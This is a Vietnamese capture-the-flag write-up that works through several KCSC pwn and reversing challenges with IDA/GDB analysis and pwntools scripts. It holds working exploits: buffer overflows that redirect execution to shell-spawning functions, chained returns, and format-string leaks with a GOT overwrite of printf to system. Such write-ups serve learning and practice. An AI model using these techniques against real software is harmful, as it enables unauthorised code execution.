# (writeup) TTV-KCSC
## OverTheWrite
- việc đầu tiên khi nhận được file là ta cho nó quyền thực thi
> chmod +x overthewrite
- kế đến ta quăng nó vào ida kiểm tra

- hmmm, hơi quằn
- thứ tự các biến ở đây là **buf**, **s1**, **v6**, **v7**, **v8** và **v9**
- biến **buf** nhập vào 80 byte, nhưng khai báo là 32 byte (int64 là 8 byte và [4] thì tổng là 8\*4 bằng 32 byte)
- sau 32 byte sẽ tràn xuống s1[8] là chuỗi "Welcome to KCSC"
- kế đến là **v6**, nhưng trong ida chả có yêu cầu nhập vào
- rồi **v7** là 0x215241104735F10F hexabyte
- **v8** là 0xDEADBEEFCAFEBABE hexabyte
- cuối cùng **v9** là 322376503
- file sẽ kiểm tra lần lượt từ **v9** xuống **v8**, xuống **v7** rồi tới **s1**
- mà ta thấy biến **v9** khai báo có ***int***, tức là có 4 byte thôi thay vì ***int64*** là 8 byte
- vậy script ta phải nhập full 32 byte của biến **buf**, rồi chuỗi "Welcome to KCSC", rồi **v7**, **v8** và cuối cùng **v9**
- ta viết script trước
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./overthewrite', checksec=False)
#p = remote("146.190.115.228",9992)
p = process(exe.path)
input()
payload = b'A'*32
payload += b'Welcome to KCSC\0'
payload += p64(0x215241104735F10F)
payload += p64(0xDEADBEEFCAFEBABE)
payload += p32(0x13371337)
p.sendafter(b'Key: ',payload)
p.interactive()
```
- ở bài này khá rắc rối về biến nên mình sẽ DEBUG động
>./solve.py DEBUG
- mở 1 tab terminal khác và cd vào chung thư mục, ta sẽ gdb
>gbd attach \<pid>
- đặt breakpoint ở hàm **ret**

>b*0x000056028ca7f38c
>

- như hình thì ta đã sai ở 1 bước nào đó rồi
- ta DEBUG lại nhưng breakpoint ở ngay sau hàm **read**
- ta kiểm tra lại các thanh ghi
>tel
>

- ta cần biết các biến đã ở đúng vị trí cá thanh ghi chưa nên ta sẽ kiểm tra

- $rbp-50h ở **d40** đúng
- $rbp-30h ở **d60** đúng
- $rbp-28h ở **d68** chưa chắc đúng lắm
- $rbp-18h ở **d78** đi xa quá rồi
- biến **v7** toàn nùi số đó phải ở vị trí **d78** nhưng ta lại nhận **deadbeefcafebabe** ở vị trí đó
- vậy cái biến **v6** ta đã bỏ quên nó
- nếu thế thì cái script ta pát thêm 8 byte nữa vào sau chuỗi "Welcome to KCSC"
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./overthewrite', checksec=False)
#p = remote("146.190.115.228",9992)
p = process(exe.path)
input()
payload = b'A'*32
payload += b'Welcome to KCSC\0'
payload += b'A'*8
payload += p64(0x215241104735F10F)
payload += p64(0xDEADBEEFCAFEBABE)
payload += p32(0x13371337)
p.sendafter(b'Key: ',payload)
p.interactive()
```
- ta tiếp tục DEBUG lại
- nhưng do file này **PIE** bật nên mỗi lần DEBUG ta phải xoá breakpoint và cài lại

- tiếp tục kiểm tra các thanh ghi

- ở $rbp-18h là **c4c8** có biến **v7** với tham số 0x215241104735f10f đúng rồi nè
- ở $rbp-10h là **c4d0** có biến **v8** với tham số 0xdeadbeefcafebabe đúng rồi nè
- nhưng kiểm tra đến biến **v9** thì chưa đúng

- như ta nói từ đầu, biến **v9** là **int** nên ta chỉ cần **p32** thôi và cần **p32** thêm 0 cho vị trí **v9** vô đúng chỗ
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./overthewrite', checksec=False)
#p = remote("146.190.115.228",9992)
p = process(exe.path)
input()
payload = b'A'*32
payload += b'Welcome to KCSC\0'
payload += b'A'*8
payload += p64(0x215241104735F10F)
payload += p64(0xDEADBEEFCAFEBABE)
payload += p32(0)
payload += p32(0x13371337)
p.sendafter(b'Key: ',payload)
p.interactive()
```

- lúc này đã đúng r đó
- vậy ta out gdb và run thử
- okela, ta đã tạo được shell
- việc còn lại ta cứ mở sever lên

- submit flag thôi
>KCSC{y0ur_wr1t3_g4v3_y0u_th1s_fl4g_afc4185ea6}
---
## Cat
- việc đầu tiên khi nhận được file là ta cho nó quyền thực thi
> chmod +x cat
- kế đến ta quăng nó vào ida kiểm tra

- Ngó sơ qua thì ta thấy file yêu cầu ta nhập cred, tức là user và pass để tiếp tục đi sâu hơn vào file
- và biến user với pass không có khai báo bao nhiêu byte nên ở đây k có lỗi bof
- v4 và v5 là biến bỏ đi byte "\n", tức là byte **newline** (enter xuống dòng) ta k cần quan tâm nhiều
- user thì rõ mồn một là
>KCSC_4m1n1str4t0r
- còn pass được ẩn trong biến **passwd**
- ta double click vào biến đó thì nhận được là

>wh3r3_1s_th3_fl4g
- Kế đến file sẽ kiểm tra cred và tiếp tục đi tới nhập *secret*
- ở đây *secret* cho tối đa 0x200 hexabyte, tương đương 512 byte, ta đi tìm byte cho phép của biến thì k thấy bị giới hạn

- vậy thì ở đây chã nhẽ cũng k có lỗi ???
- thế flag nằm ở mô?
- quanh hàm main có 1 function dùng để đọc flag


- function này nó sẽ mở 1 file văn bản tên ***flag.txt***, vậy thì ta cứ tạo văn bản đó với nội dung văn bản bất kì, chẳng hạn *abcd*

- rồi... công việc tiếp theo ta viết script thôi
>subl solve.py
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./cat', checksec=False)
p = process(exe.path)
#p = remote('146.190.115.228', 9994)
p.sendlineafter(b'Username: ',b'KCSC_4dm1n1str4t0r')
p.sendlineafter(b'Password: ',b'wh3r3_1s_th3_fl4g')
payload = b'A'*512
payload += p64(exe.sym["read_flag"])
p.sendlineafter(b'secret: ', payload)
p.interactive()
```
- ta import shebang vào thì phải thiết lập quyền thực thi cho script đó
>chmod +x solve.py
- ta cho chạy scipt thử, sai thì ta debug :))))

- thấy ở cuối 1 loạt byte A, ta nhận được *abcd*, phải chăng ta làm đúng rồi ?
- tắt local và mở sever lên thử...

- còn chần chờ j nữa mà k submit ngay
>KCSC{w3ll_d0n3_y0u_g0t_my_s3cr3t_n0w_d04942f299}
---
## TheLastOne
- việc đầu tiên khi nhận được file là ta cho nó quyền thực thi
> chmod +x thelastone
- kế đến ta quăng nó vào ida kiểm tra

- nhìn qua một lần, bài này là cho ta lựa chọn từ 1 đến 6 được nhập từ bàn phím, ngó qua gần gần hàm main, ta còn 8 hàm quanh nó, bao gồm
>menu
>read_str
>set_name
>get_name
>find_food
>kill_zombie
>find_survivor
>**main**
>unknown
- đầu tiên file sẽ chạy trước function **menu**, (bởi vì function **read_str** chả có gì cho ta khai thác)

- theo kinh nghiệm thì ta cứ đi từ option1 đến option6 =))))
- case1 là **set_name**

- biến **a1** là argument1, biến này ta k thấy giới hạn nhập vào, nên ta cho nhập 48 byte như hàm cho
- dễ hơn thì ta vừa viết script vừa phân tích ida
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./thelastone', checksec=False)
p = process(exe.path)
#p =remote('146.190.115.228', 9995)
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'> ',b'A'*48)
```
- kế đến là case2: **get_name**

- function này k có j lo ngại, chỉ là đọc lại biến a1 ta vừa nhập ở trên
- case3: **find_food**

- cũng k quan ngại, chỉ là ngủ 1 giây r tiếp tục
- case4: **kill_zombie**

- ở đây nếu đúng ta sẽ nhận được dòng **printf** ở trên, chuỗi **name** ta vừa nhập vào ở case1 sẽ đưa về dạng số ở biến **a1**
- nếu ta sai sẽ **printf** ở bên dưới, tức là hàm **if** trả về giá trị sai
- case5: **find_survivor**

- ở đây hàm **if** sẽ trả về nội dung *no luck ...* nếu ta làm sai ở bước nào đó, và đúng sẽ **puts** 2 dòng bên dưới
- kế đến là cho ta nhập vào từ bàn phím 88 byte ở biến **v1**
- có 1 lỗi BufferOverflow ở đây
- biến **v1** được setup là 76 byte, nhưng ta được nhập vào tận 88 byte
- theo kinh nghiệm thì ta cứ nhập vào full 88 byte
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./thelastone', checksec=False)
p = process(exe.path)
#p =remote('146.190.115.228', 9995)
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'> ',b'A'*48)
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'> ',b'4')
p.sendlineafter(b'> ',b'5')
payload = b'A'*88
```
- còn function cuối ta coi luôn

- hàm này sẽ cho t shell
- thế thì sau cái payload trên ta sẽ tiếp tục nhảy vào hàm đó
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./thelastone', checksec=False)
p = process(exe.path)
#p =remote('146.190.115.228', 9995)
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'> ',b'A'*48)
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'> ',b'4')
p.sendlineafter(b'> ',b'5')
payload = b'A'*88
payload += p64(exe.sym['unknown'])
p.sendlineafter(b'> ',payload)
p.interactive()
```
- ta import shebang vào thì ta cho nó quyền thực thi
>chmod +x solve.py
- ta chạy thử, thì thấy thông báo là "EOF" 😑
- DEBUG thôi
- thêm dòng **input()**
>gdb attach \<pid>
- ta đặt breakpoint ở hàm **ret** ở function **find_survivor**

>b*0x0000000000401519
>

- lúc này hàm đã trả về function **unknow**
- tuỵt zời
- tiếp tục kiểm tra
>ni
>

- chetchua, lỗi **xmm1**
- lỗi này phổ biến, do địa chỉ ta k chia hết cho 16
- rê chuột lên coi lại


- tức là sau hàm **push**, địa chỉ stack bị thay đổi
- để thấy rõ hơn thì...

- địa chỉ bên dưới bị lẻ nè
- v thì ta sửa lại script, cho nhảy trực tiếp sau hàm **push** luôn, tức là *unknow+5*
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./thelastone', checksec=False)
p = process(exe.path)
#p =remote('146.190.115.228', 9995)
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'> ',b'A'*48)
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'> ',b'4')
p.sendlineafter(b'> ',b'5')
input()
payload = b'A'*88
payload += p64(exe.sym['unknown']+5)
p.sendlineafter(b'> ',payload)
p.interactive()
```
- theo mình nghĩ là hết lỗi nữa rồi nên tắt **input()** luôn
- run thử
- lúc này ta đã tạo được shell, vậy thì ta tắt local và mở sever lên luôn

- submit flag thôi...
>KCSC{th3_l4st_hum4n_l1k3_th3_0ff_by_0n3_203d940bd5}
---
## Treasure
- ta nhận được 1 file tên **treasure**
- Truơớc mắt cứ thiết lập quyền thực thi cho file bằng câu lệnh
> chmod +x treasure
- ta chạy thử ....

- ta nhận dc part1 của flags là
>KCSC{
- việc còn lại ta sử dụng công cụ ida để xem cách hoạt động của file
- thì ở đây ta nhận được hàm print **%s** của biến v4

- và chuỗi đó nằm ngay trên luôn =))))))
- flag2 là:
>4_t1ny_tr34sur3
- tiếp tục ta ngó sang các bảng làm việc khác của ida
- thì ta nhận đuược part3 của flag

- kết hợp lại ta được
> KCSC{4_t1ny_tr34sur3_27651d2df78e1998}
---
## GenMaxNumber
- ở bài này, tác giả k có cho file
- vậy thì ta cứ tạo script và kết nối tới sever thôi

- yêu cầu đề bài là sắp xếp chuỗi số đã cho thành số lớn nhất
- đầu tiên ta mở script lên và cho kết nối tới sever
- rồi ta nhận chuỗi số đó, chuyển chuỗi đó về dạng byte
- dùng lệnh *sort* để lọc về theo thứ tự từ bé đến lớn, và theo yêu cầu đề bài là chuỗi số lớn nhất nên ta đảo ngược phép lọc bằng "reverse=True"
```python
#!/usr/bin/python3
from pwn import *
p = remote('146.190.115.228',10464)
p.recvuntil('Number: ')
num = int(p.recvline(),10)
log.info("number: " + str(num))
numstr = str(num)
sortedString = ''.join(sorted(numstr,reverse=True))
p.sendline(str(sortedString))
p.interactive()
```

- theo như hình là ta đã đúng, nhưng đề bài vẫn tiếp tục giao
- bài đã đếm cho ta 1 điểm
- chẳng lẽ goal là 10 ư ...

- ảo giác thặc 🤦♂️
- goal là 100 chăng?
- v thì ta cho vòng lặp trong script, chứ ctrl+C rồi ctrl+V cái nùi đó thì loãng script hết

- tôi ổn ...
- script:
```python
#!/usr/bin/python3
from pwn import *
p = remote('146.190.115.228',10464)
for i in range(0,100):
p.recvuntil('Number: ')
num = int(p.recvline(),10)
log.info("number: " + str(num))
numstr = str(num)
sortedString = ''.join(sorted(numstr,reverse=True))
p.sendline(str(sortedString))
p.interactive()
```
>KCSC{You will maximize yourself when participating in KCSC, G00d_j0b}
---
## ShortJumps
- việc đầu tiên khi nhận được file là ta cho nó quyền thực thi
> chmod +x shortjumps
- kế đến ta quăng nó vào ida kiểm tra nhưng lại bị lỗi
- check thông tin file thì ta nhận được đây là file 32 bits

- ngoài file ra thì ta nhận được 1 source code c
- thì trong source đó được phân ra 3 hàm chủ đạo
>**main**
>**jmp1**
>**jmp2**
```c
int jmp1(int a)
{
if (a==0xdeadbeef)
jmp++;
}
int jmp2(int a, int b)
{
char command[8] = {0};
command[0] = '/';
command[1] = 'b';
command[2] = 'i';
command[3] = 'n';
command[4] = '/';
command[5] = 's';
command[6] = 'h';
command[7] = '\0';
if (jmp!=1)
{
puts("Don't cheat, hacker!");
exit(0);
}
if (a==0xcafebabe && a+b==0x13371337)
system(command);
}
int main()
{
char name[0x20];
char dream[0x50];
char choose = 'Y';
init();
puts("Hi, what's your name?");
printf("> ");
scanf("%31s", name);
getchar();
puts("Do you have any dream? [Y/n]");
printf("> ");
scanf("%c", &choose);
if (choose=='Y' || choose=='y' || choose=='\n')
{
puts("Tell me your dream!");
printf("> ");
scanf("%140s", dream);
getchar();
puts("Wow, that's interesting!");
}
```
- ở đây cũng có thể lờ mờ đoán được là mình sẽ ret về 2 hàm **jmp1** và **jmp2**
- **jmp1** là để tăng biến **jmp** từ 0 lên 1
- **jmp2** là kiểm tra biến **jmp** nếu bằng 1 thì trả về shellcode, nếu khác 1 là thông báo đừng chơi gian lận =)))))
- v thì mình có 2 hướng để ret
- 1 là tìm thẳng địa chỉ của hàm đó luôn (nếu PIE tắt thì nhanh gọn lẹ)
- 2 là dùng exe.sym
- do checksec thấy PIE tắt r thì làm cách 1 luôn

- biến **name** k có lỗi bof
- nhưng biến **dream** thì có, khai báo 80 byte nhưng input tận 140 byte
- vậy ta tìm offset của file, do là file 32 nên ta tìm **$eip**

- trước hết viết script ngắn gọn
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./shortjumps', checksec=False)
p = process(exe.path)
#p= remote('146.190.115.228', 9993)
jmp1 = 0x80492b4
jmp2 = 0x80492e0
main = 0x8049378
p.sendlineafter(b'> ', b'hlaan')
p.sendlineafter(b'> ', b'y')
payload = b'A'*124
payload += p32(jmp1)
payload += p32(0xdeadbeef)
payload += p32(jmp2)
payload += p32(0xcafebabe)
payload += p32(0x48385879)
p.sendlineafter(b'> ', payload)
p.interactive()
```
- chmod cái script r run thử
- thì lại nhận đc thông báo EOF :-(
- tức là khi ta ret tới 1 trong 2 hàm **jmp** thì vị trí stack chưa push đúng chỗ
- chẳng hạn cái *0xdeadbeef* hay là *0xcafebabe*
- v thì chắc ta chỉ cần ret về **main** mỗi lần ret tới mỗi hàm **jmp**
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./shortjumps', checksec=False)
p = process(exe.path)
#p= remote('146.190.115.228', 9993)
jmp1 = 0x80492b4
jmp2 = 0x80492e0
main = 0x8049378
p.sendlineafter(b'> ', b'hlaan')
p.sendlineafter(b'> ', b'y')
payload1 = b'A'*124
payload1 += p32(jmp1)
payload1 += p32(main)
payload1 += p32(0xdeadbeef)
p.sendlineafter(b'> ', payload1)
p.sendlineafter(b'> ', b'hlaan')
p.sendlineafter(b'> ', b'y')
payload2 = b'A'*124
payload2 += p32(jmp2)
payload2 += p32(main)
payload2 += p32(0xcafebabe)
payload2 += p32(0x48385879)
p.sendlineafter(b'> ', payload2)
p.interactive()
```
- vì là ret về hàm **main** nên sẽ gửi 2 lần dữ liệu, gửi 2 cái payload
- run lại thử, và đã tạo đc shell 😎

- kết nối sever và lụm
---
## xFMasTree
- kiểm tra ida

- kiểm tra lớp bảo vệ

- quanh hàm main có:
>payload
>hint
>**main**
- có lỗi fmtstr ngay hàm *printf* ở function ***payload***

- vì function ***hint*** khi kết nối sever sẽ cho ta flag bịp nên hướng đi là tạo shell

- vì do k có sẵn hàm cho **system** nên ta sẽ break ngay hàm *prinf* trong ***payload*** và leak cái libc ra

- ta tính offset từ 2 địa chỉ trên để tìm libc base

> p/x 0x7fd47c429d90 - 0x007fd47c400000
> 0x29d90
- leak libc rồi thì ta sẽ tấn công GOT thông qua hàm *prinf*
- leak thêm binary ngay sau $rbp

- còn offset thì tương tự

>p/x 0x0000000040142b - 0x00000000400000
>0x142b
- kế tiếp ta sẽ tấn công GOT thì sẽ xem sự "diferent" giữa **system** và *prinf*

- khác biệt từ ``50d60`` và ``60770``, nhưng 2 byte "rưỡi" thì vô nghĩa, ta sẽ xét sự khác nhau qua 3 byte là ``c50d60`` và ``c60770``
- vậy ta sẽ ghi đè cái địa chỉ *printf* về **system** , thông thường thì chia nhỏ byte ghi đè (ghi 1 byte rồi 2 byte), chứ ghi luôn 3 byte thì hơi..."risky" hay ghi 2 rồi ghi 1 thì sẽ bị overflow (nghe lỏm từ 1 du tu bơ 😗 )
- ta sẽ chia ra 2 phần ghi đè
```python
ow1 = libc.sym['system'] & 0xff
ow2 = libc.sym['system'] >> 8 & 0xffff
```
- ở đây do ta đã lấy 1 byte ``60`` nên ta sẽ sử dụng toán tử bit (cụ thể là dịch bit ) và dịch sang phải 8 bit (1 byte = 8 bit) để tiếp tục lấy 2 byte còn lại
- ngẫu hứng thì ta sẽ ghi got của *printf* vào 1 địa chỉ nào đó sau $rsp thì cỡ cỡ sau $rsp tầm 0x20 byte đi
- ta sẽ ghi 3 byte ở trên ngay $rsp và ``ljust(0x20)`` đến chỗ mình binary ngay phía trên
- vì ``ljust(0x20)`` nên ta sẽ ghi ngay ``%10$c`` và ``%11$c``
- debug lại thì ta thấy ngay ``%10`` ta nhận đc là 0x405040 trong khi got *printf* có 0x404040, chênh 0x1000 thì offset ta sẽ lui thêm chừng đó byte

>0x242b
- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
p = process(exe.path)
#p = remote('47.254.251.2', 4099)
p.sendlineafter(b'>> ', b'1')
p.sendafter(b'payload: ',b'%37$p')
p.recvuntil(b'submitted\n')
libc_leak = int(p.recvuntil(b'1.',drop=True),16)
libc.address = libc_leak - 0x29d90
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
p.sendlineafter(b'>> ', b'1')
p.sendafter(b'payload: ',b'%33$p')
p.recvuntil(b'submitted\n')
exe_leak = int(p.recvuntil(b'1.', drop=True),16)
exe.address = exe_leak - 0x242b
log.info("exe leak: " + hex(exe_leak))
log.info("exe base: " + hex(exe.address))
ow1 = (libc.sym['system']) & 0xff
ow2 = (libc.sym['system']) >> 8 & 0xffff
payload = f'%{ow1}c%10$hhn'.encode()
payload += f'%{ow2 - ow1}c%11$hn'.encode()
payload = payload.ljust(0x20, b'A')
payload += p64(exe.got['printf'])
payload += p64(exe.got['printf']+1)
p.sendlineafter(b'>> ', b'1')
p.sendafter(b'payload: ', payload)
p.sendline(b'/bin/sh')
p.interactive()
```

---
## FMTXMaster
- kiểm tra ida

- kiểm tra lớp bảo vệ

- quanh hàm **main** k còn hàm nào hữu dụng
- thấy đc ``shell`` ngay trong hàm **main**
- phân tích ida, ta thấy nó sẽ đọc 1 đường dẫn ``/dev/urandom``
- đường dẫn đó khá là lạ nên có tra gg thì ta biết dc là tạo dữ liệu random vô hạn 🤦♂️
- và dữ liệu đó được cắt ra chia làm 2 phần và gán và 2 biến **buf** và **v6**
- và cho ta shell khi input 1 giá trị **v7** bằng ``v6 + buf``
- ta kiểm tra địa chỉ nào của biến **buf** và biến **v6** ngay hàm **read** khi mở file ``/dev/urandom``



> dd60 và dd68, tức là %8 và %9
- kiểm tiếp địa chỉ của biến **v7** để so sánh

> dd70 là %10
- hmmmm
- căng nhể, idea ban đầu là thay đổi giá trị chứa trong **buf** và **v6** nhưng file chỉ cho 1 lần **read** nên hơi khó, lái qua úm ba la cho **buf** và **v6** thành 0, r **input** cái **v7** là null
- ta sẽ định dạng "*" để padding cho đủ 0x20 byte (từ dd50 lên dd70)
> ``%*8$c%*9$c%10$n``
- hmmm
- bị EOF

- ta sẽ debug lại lần nữa nhưng dừng ngay sau lệnh nhập biến **v7** (ngẫu nhiên k cần số chính xác)

- ồ, biến **v7** ở %10 đúng nè, nhưng ở %11 lại là 1 stack thực thi, và hiện đang trỏ lại giá trị ở %10
- hay là ta chỉnh sửa lại xíu, ghi lên %11 thay vì %10
- script:
```python
#!/usr/bin/env python3
from pwn import *
context.binary = exe = ELF("./chall_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-linux-x86-64.so.2",checksec=False)
p = process(exe.path)
p.sendafter(b'name:',b'%*8$c%*9$c%11$n')
p.sendlineafter(b'gift:',b'\0')
p.interactive()
```

>KCSC{w3ll_don3_here_is_your_Xm45_g1f7}
> đang suy nghĩ tới gdbsever, vì trong gdb mình hoàn toàn có thể tính toán và đưa ra giá trị v7 nên có thể tạo shell ngay trong gdb